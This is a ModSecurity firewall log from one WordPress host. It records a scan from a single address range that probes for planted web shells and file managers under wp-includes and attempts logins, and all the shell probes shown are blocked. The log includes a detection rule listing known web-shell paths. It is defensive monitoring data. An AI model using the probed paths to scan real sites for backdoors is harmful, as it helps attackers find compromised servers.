[Wed Apr 22 01:19:27.712212 2026] [:error] [pid 53731:tid 53758] [client 45.137.126.39:46839] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeexn12I9THUR-bRVGzPNQAAAhY"]
[Wed Apr 22 01:19:30.828332 2026] [:error] [pid 54080:tid 54094] [client 45.137.126.26:46577] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeexoozEbQHHxtmWbab5SAAAAsw"]
[Wed Apr 22 01:19:31.815369 2026] [:error] [pid 53978:tid 53996] [client 45.137.126.23:45767] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeexo51ivsR4hcOSQbZvqQAAApA"]
[Wed Apr 22 01:19:32.809660 2026] [:error] [pid 35321:tid 35390] [client 45.137.126.21:41465] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeexpDeHLhVUuu8cVXxIxgAAAEY"]
[Wed Apr 22 01:19:33.782913 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.46:65009] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeexpYJW6fdXWO6agMFu9wAAAAM"]
[Wed Apr 22 01:19:34.754690 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.32:28349] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeexpjeHLhVUuu8cVXxIzgAAAFc"]
[Wed Apr 22 01:19:37.817212 2026] [:error] [pid 53731:tid 53739] [client 45.137.126.7:49221] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeexqV2I9THUR-bRVGzPRgAAAgQ"]
[Wed Apr 22 01:19:41.323735 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.26:40159] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aeexrV2I9THUR-bRVGzPUgAAAgg"]
[Wed Apr 22 01:19:46.389482 2026] [:error] [pid 4823:tid 4871] [client 45.137.126.46:54047] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeexsvc8mke3PfHqsxEigAAAAZI"]
[Wed Apr 22 01:19:49.342273 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.44:60393] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeextTeHLhVUuu8cVXxI8QAAAFE"]
[Wed Apr 22 01:19:52.301766 2026] [:error] [pid 53731:tid 53746] [client 45.137.126.37:22207] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeexuF2I9THUR-bRVGzPaQAAAgs"]
[Wed Apr 22 01:20:04.071988 2026] [:error] [pid 4777:tid 4791] [client 45.137.126.26:39715] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeexxKxXur6bykKyLZTKKQAAAQM"]
[Wed Apr 22 01:20:07.063700 2026] [:error] [pid 35321:tid 35397] [client 45.137.126.5:51391] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeexxzeHLhVUuu8cVXxJDwAAAE0"]
[Wed Apr 22 01:20:10.565665 2026] [:error] [pid 35320:tid 35349] [client 45.137.126.13:62081] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aeexyoJW6fdXWO6agMFvWAAAABM"]
[Wed Apr 22 01:20:13.591767 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.2:44997] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aeexzTeHLhVUuu8cVXxJNgAAAFI"]
[Wed Apr 22 01:20:22.670565 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.42:51453] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeex1p1ivsR4hcOSQbZv-gAAApU"]
[Wed Apr 22 01:20:25.753786 2026] [:error] [pid 35321:tid 35385] [client 45.137.126.48:21765] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeex2TeHLhVUuu8cVXxJTQAAAEE"]
[Wed Apr 22 01:20:29.872123 2026] [:error] [pid 35320:tid 35332] [client 45.137.126.39:60163] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeex3YJW6fdXWO6agMFvwAAAAAI"]
[Wed Apr 22 01:20:30.860449 2026] [:error] [pid 53978:tid 53989] [client 45.137.126.13:60335] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeex3p1ivsR4hcOSQbZwAwAAAok"]
[Wed Apr 22 01:20:31.846079 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.48:45667] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeex3zeHLhVUuu8cVXxJYQAAAEk"]
[Wed Apr 22 01:20:39.023026 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.51:61699] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aeex5zeHLhVUuu8cVXxJhAAAAFI"]
[Wed Apr 22 01:20:40.031873 2026] [:error] [pid 35321:tid 35398] [client 45.137.126.45:31525] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aeex6DeHLhVUuu8cVXxJjgAAAE4"]
[Wed Apr 22 01:20:41.012250 2026] [:error] [pid 4823:tid 4874] [client 45.137.126.16:25629] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeex6fc8mke3PfHqsxEiqQAAAZU"]
[Wed Apr 22 01:20:56.781625 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.51:47315] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aeex-IJW6fdXWO6agMFwHgAAABY"]
[Wed Apr 22 01:21:02.460848 2026] [:error] [pid 35321:tid 35400] [client 45.137.126.41:34107] [client 45.137.126.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeex_jeHLhVUuu8cVXxJ1AAAAFA"]
[Wed Apr 22 01:21:26.150976 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.41:34107] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeeyFjeHLhVUuu8cVXxKLAAAAEw"]
[Wed Apr 22 01:21:31.370579 2026] [:error] [pid 53978:tid 53992] [client 45.137.126.3:60359] [client 45.137.126.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeeyG51ivsR4hcOSQbZwZAAAAow"]
[Wed Apr 22 01:21:35.437879 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.3:60359] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/item.php"] [unique_id "aeeyH51ivsR4hcOSQbZwfQAAApU"]
[Wed Apr 22 01:21:53.056193 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.6:27459] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeeyMTeHLhVUuu8cVXxKgAAAAEI"]
[Wed Apr 22 01:22:03.491432 2026] [:error] [pid 53731:tid 53746] [client 164.90.143.116:62571] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeeyO12I9THUR-bRVGzQXwAAAgs"]
[Wed Apr 22 01:22:07.590942 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.50:33557] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeeyP4JW6fdXWO6agMFx0gAAAAM"]
[Wed Apr 22 01:22:12.562046 2026] [:error] [pid 54080:tid 54104] [client 45.137.126.15:61457] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeeyRIzEbQHHxtmWbab6JwAAAtY"]
[Wed Apr 22 01:22:18.212460 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.44:56303] [client 45.137.126.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aeeySjeHLhVUuu8cVXxKwwAAAEI"]
[Wed Apr 22 01:22:20.188554 2026] [:error] [pid 35321:tid 35390] [client 45.137.126.44:56303] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeeyTDeHLhVUuu8cVXxKyAAAAEY"]
[Wed Apr 22 01:22:50.514171 2026] [:error] [pid 4823:tid 4862] [client 45.137.126.13:53527] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeeyavc8mke3PfHqsxEi8QAAAYk"]
[Wed Apr 22 01:22:56.342168 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.49:22321] [client 45.137.126.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeeycIJW6fdXWO6agMFyZQAAABY"]
[Wed Apr 22 01:23:04.573086 2026] [:error] [pid 35320:tid 35338] [client 45.137.126.49:22321] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aeeyeIJW6fdXWO6agMFyjAAAAAg"]
[Wed Apr 22 01:23:07.558721 2026] [:error] [pid 53731:tid 53735] [client 45.137.126.40:51427] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aeeye12I9THUR-bRVGzQuAAAAgA"]
[Wed Apr 22 01:23:12.511144 2026] [:error] [pid 53832:tid 53840] [client 45.137.126.30:65045] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeeygNzkuxsE_OhM9UKZ8wAAAkU"]
[Wed Apr 22 01:23:19.412083 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.18:53445] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeeyh4zEbQHHxtmWbab6hQAAAtQ"]
[Wed Apr 22 01:23:20.387321 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.22:37775] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeeyiDeHLhVUuu8cVXxLDQAAAFc"]
[Wed Apr 22 01:23:30.511862 2026] [:error] [pid 53731:tid 53757] [client 45.137.126.43:63651] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeeykl2I9THUR-bRVGzRBAAAAhU"]
[Wed Apr 22 01:23:32.042062 2026] [:error] [pid 53832:tid 53842] [client 45.137.126.39:54865] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeeylNzkuxsE_OhM9UKaCgAAAkc"]
[Wed Apr 22 01:23:39.167946 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.19:26983] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aeeym4JW6fdXWO6agMFy3QAAAA8"]
[Wed Apr 22 01:23:46.410020 2026] [:error] [pid 4823:tid 4857] [client 45.137.126.3:55517] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeeyovc8mke3PfHqsxEjHQAAAYQ"]
[Wed Apr 22 01:23:51.352716 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.17:41619] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/click.php"] [unique_id "aeeyp4JW6fdXWO6agMFzFgAAABY"]
[Wed Apr 22 01:23:58.382338 2026] [:error] [pid 53832:tid 53857] [client 45.137.126.36:55263] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeeyrtzkuxsE_OhM9UKaOAAAAlY"]
[Wed Apr 22 01:24:12.653273 2026] [:error] [pid 53832:tid 53846] [client 45.137.126.32:38367] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeeyvNzkuxsE_OhM9UKaWgAAAks"]
[Wed Apr 22 01:24:13.684893 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.43:49465] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aeeyvYJW6fdXWO6agMFzTQAAAAs"]
[Wed Apr 22 01:24:14.688383 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.52:57771] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeeyvl2I9THUR-bRVGzRawAAAgc"]
[Wed Apr 22 01:24:15.659291 2026] [:error] [pid 35321:tid 35404] [client 45.137.126.48:61595] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeeyvzeHLhVUuu8cVXxLNAAAAFQ"]
[Wed Apr 22 01:24:18.712690 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.16:33063] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeeywjeHLhVUuu8cVXxLQwAAAEM"]
